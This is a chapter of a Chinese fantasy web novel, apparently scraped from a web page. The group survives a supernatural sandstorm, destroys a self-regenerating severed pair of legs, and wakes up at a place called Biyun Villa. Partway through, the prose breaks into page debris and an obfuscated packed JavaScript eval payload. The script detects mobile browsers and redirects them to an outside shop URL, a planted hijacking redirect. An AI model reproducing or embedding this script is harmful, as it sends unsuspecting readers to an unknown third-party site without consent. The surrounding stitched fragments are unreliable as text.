正一筹莫展,吕环钰却发现情况有些不太对劲。
虚空中的漂浮物原本只是随气流缓缓流动,可此刻那流动的速度肉眼可见地加快了。
“怎么回事,起风了?”
几人不像吕环钰那样,能够看到直观的变化,但感知也极为敏锐。
“这里是一个独立的能量场,与其说是起风……”许观岚的未尽之言让众人脸色大变。
高华一直沉稳的表情也染上了惊惧:“我们得尽快想办法出去!”
他话音才落,原本只是拂面的微风在几个呼吸之间,竟变强成了凌冽的大风。
几人被吹得衣袍猎猎发丝狂舞,特别是女生,头发丝抽在脸上像鞭子一样令人生疼。
“快!都抓住尼龙绳!”许观岚熟练地抖开绳索,然而风越来越大,位置稍微远一些的小何眼睛都睁不开,很难抓住狂舞的绳子。
飞沙走石,原本光线昏暗的空间霎时间充斥着漫天黄沙,人几乎都有些站立不稳。
“都趴下!”许观岚右手缠着绳索,左手横在面部遮挡风沙,“小何爬过来!”
抓住了尼龙绳的人让绳子在手臂上绕两圈防止脱手,一个接一个趴下。
这风速得有台风级别了!吕环钰背对泥沙糊了一脸,艰难地从裤兜里摸出口罩。
然而她一手抓着绳子,一手去戴口罩,这在狂风中很难操作。此刻就很恨,为什么她把防风护目镜放车上了,现在连眼睛都睁不开。
口罩好几次都差点被风卷走,好在最后两只耳朵都挂住了绳子。
她扯好口罩遮住口鼻,终于能够大口呼吸:“大家都还好吗?都抓住绳子了吗?”
许观岚闷闷的声音在前方响起,“小何离我们太远了,绳索甩不过去……”
小何:“我抱住华哥的腿了,绳子不够长!”
江丽:“你特么抱的是我的腿!”
“啊?”小何艰难地眯着眼睛去看,道歉的话在嘴边转了个弯,“队伍里只有华哥一个男人,我不至于男女不分!”
说到激动处,还不小心灌了一嘴泥沙。
高华:“没人抱着我的腿啊!”
几人:“……”
小何:“那我抱的是谁的腿!!!”
“都说是……”江丽恼怒的音调猛地拔高,“啊——什么东西!滚开!!滚开啊啊啊啊!”
尼龙绳绷紧,传来拉扯的力道。
随即是小何崩溃的惊叫声:“握草啊啊啊啊啊啊!谁的腿落这里了!!!”
场面一时间乱成一锅粥。
吕环钰艰难地眯着眼睛往声音的地方看去,但立刻有飞沙飞进她的眼睛里,生理眼泪涌了出来。
睁眼就中招,什么也看不清。
许观岚:“什么情况?!”
小何一边呸嘴里的泥沙一边艰难大喊:“岚姐!呜呜呜!华哥只剩下半身了!”
高华下意识摸摸自己的腿:“我的腿还在我身上!”
小何:“那这是谁的腿!!”
江丽:“你缺心眼吗?!有怪物!有怪物!”
许观岚:“小何,你别怕!把东西带过来,我们都抓紧了绳子往中间聚集!”
几人的距离并不算太远,最远的小何也不过十来米,五人最终聚在了一起。
然后——
他们看到了小何抱着一双腿,蛄蛹着朝他们爬过来的样子。
江丽崩溃:“你不要过来啊啊啊!”
许观岚一把捂住她的眼睛,“乖,看不见就当不存在。”
“就是腿罢了,又不会咬人!”小何看不惯江丽咋咋呼呼的样子,但也没多说什么,“岚姐,这腿竟然还会动,这或许是我们离开这里的关键!”
吕环钰按许观岚说的,将那只有下半身的腿捆了扔在中间,然后五人脑袋挨着脑袋围成一圈,用背包塞住身体露出来的缝隙堵住——
虽然没能完全隔绝风沙,但勉强能睁眼了。
“这玩意儿到底是什么?”江丽镇定了一些,大家都在,而且这东西被捆住了。
许观岚脱掉挽起腿的西裤,便看到一脚的腿毛,她又拽住袜子口猛地一拽,袜子连带着皮鞋被她给扯了下来。
那腿挣扎扭动着似乎想要逃跑,用力到连脚趾头都在抽动,可惜吕环钰捆粽子一样将它五花大绑,它无处借力只能原地蛄蛹。
江丽都快哭了:“真的会动……”
许观岚又去看腰部的断口处,那里没有血迹,就见有不断蠕动的肉芽在缓慢生长成新的肌肉,就像蚕吐丝那样,一层一层……
江丽捂住了自己的眼睛,咬着抖动的嘴唇不敢再看。
除了接受过重大冲击的吕环钰,另外三人的面色也都不太好。
“这到底是什么东西,寄生虫吗……”小何抑制住想吐的感觉,一想到自己抱着这么个玩意爬过来,他整个人都不好了。
吕环钰掏出铜剑,道:“我也不知道这是什么东西,但我曾见过它们。”
说着,她握住铜剑狠狠朝捆住的大腿扎下。
刹那间,那双腿如同融化的蜡像一般,裹住腿的西装裤瞬间干瘪下去,一摊墨汁一样的东西涌了出来,然后迅速消散。
果然是那种东西。
吕环钰的心情有些凝重,她刚刚看到了,那些肉芽里有流动的黑线。她立刻想到了被她打散的假‘褚垚’,以及被老水牛踩死的类人怪物。
只是不同的是,这些东西,原本只有她能够看到。但是在这里,现在所有人都跟她一样了。
这阵莫名其妙刮起的大风,还有这种随风而来的怪物……这里到底发生了什么?</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789452|210322||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
许观岚捡起散落的尼龙绳,手指搓了搓,什么也没有摸到。但刚刚的情形,他们所有人都看到了。
“小吕,你说你见过这种东西?”许观岚的手指无意识的用力,握紧了手里的绳索。
吕环钰点头,将自己与无涯道人论‘鬼’的那段经历说了出来。
“这么说,你能看到能量体具象化的样子……”许观岚紧紧盯着吕环钰,“难怪褚垚这么着急将你送出去,他一定是察觉到了什么,只是现在……”
五人顶着狂风围成一团,互相看着彼此灰头土脸的样子,有点心塞。
高华道:“你有这种能力,真不该跑进来冒险!你师父和师兄怎么想的?!”
吕环钰突然心梗,小声嘀咕:“我还没有拜师……”
许观岚道:“别说这些没用的了,留点力气想想怎么出去吧。”
风刮了很久,并且还在持续增强,狂风裹着泥沙和大大小小的碎石往他们身上拍,要不是五人围城一圈用尼龙绳缠住身体,他们估计都会被吹飞。
几人连开口说话都做不到了,闭着眼睛用背包护住头部。生死面前,就连刚刚剩下的那条西装裤都被撕吧开,被他们用来裹住口鼻。
吕环钰苦中作乐地想:幸好我戴了口罩。
然而乐极生悲,“砰”地一声巨响,有个巨大的东西击中了她的后脑,吕环钰瞬间失去了意识。
等她再次有意识的时候,最先恢复的是听觉。她听到了铲子刨土的“沙沙”声,意识在这种有节奏的声音里逐渐回笼。
头很疼,吕环钰在疼痛中睁开了眼。
然后她看到了用铲子刨土的许观岚。
其实第一眼没有认出来,她实在太像个野人了,一身的脏污衣衫破烂。
吕环钰是看到她手腕上那个粉色表带的手表,认出了她的身份。
摇摇晃晃地挣扎起身,吕环钰摸着后脑勺上的大包,暗自腹诽:脸上的伤还没好,后脑勺又遭重击,做我的脑袋你还真是辛苦了……
许观岚注意到她醒来,手里的动作也没停:“别摸了,我刚刚白帮你上药了!”
吕环钰听话收手,视线下移,就见许观岚正在刨半截埋土里的江丽,旁边还躺着刚被挖出来的高华跟小何。
不仅如此,目之所及发现周围已经是换了个环境,绿树掩映间还能看到房屋。
他们这是出来了?!
顾不得多想,吕环钰赶紧爬起来去帮忙。
“他们没事吧?我们这是被风吹哪来了?”吕环钰探了探江丽的脉搏,很好,强劲有力。
许观岚手里的动作停了一瞬,又继续刨土,“这里是碧云山庄。”
吕环钰刚刚升起那种逃出生天的喜悦,瞬间胎死腹中。
她不死心又问了一句:“你刚刚说,这是哪?”